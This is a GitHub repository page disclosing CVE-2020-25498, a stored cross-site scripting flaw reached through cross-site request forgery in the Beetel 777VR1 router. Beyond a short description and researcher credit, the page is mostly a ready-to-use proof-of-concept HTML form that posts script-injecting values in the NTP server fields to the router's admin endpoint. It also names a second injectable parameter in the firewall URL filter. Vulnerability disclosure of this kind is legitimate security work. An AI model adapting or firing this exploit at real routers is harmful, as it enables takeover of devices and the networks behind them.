Skip to content

the-girl-who-lived/CVE-2020-25498

main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 

CVE-2020-25498: Stored XSS via CSRF in Beetel 777VR1 Router

Vulnerability Description

It has been identified that the vulnerable endpoint doesn't have server side input validation and lacks client side filtering for any malicious script injection. An attacker can use this vulnerability to inject malicious script in the endpoint and the script is activated every time a user opens the vulnerable endpoint. Attacker can send a malicious URL with POST request payload to execute XSS in admin module via CSRF to take over the device and finally, to take over the network.

Researcher: Sayli Ambure (https://twitter.com/sayli_ambure)

MITRE CVE link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25498

Proof-of-Concept Exploit:

CSRF HTML Code:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/form2ntp.cgi" method="POST">
      <input type="hidden" name="ntpstate" value="Enable" />
      <input type="hidden" name="ntpserver" value='google&#46;com"><script>alert(1)</script>' />
      <input type="hidden" name="ntpserver2" value='google&#46;com"><script>alert(2)</script>' />
      <input type="hidden" name="ntpinterval" value="1" />
      <input type="hidden" name="ntptimezone" value="330" />
      <input type="hidden" name="submit&#46;htm&#63;time&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

1. NTP Server Name in System Time configuration module

Parameter: Server name

Proof of Concept Video:

2. URL Filter endpoint in Firewall module

Parameter: Keyword

Proof of Concept video:

About

Stored XSS via CSRF in Beetel 777VR1 Router

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published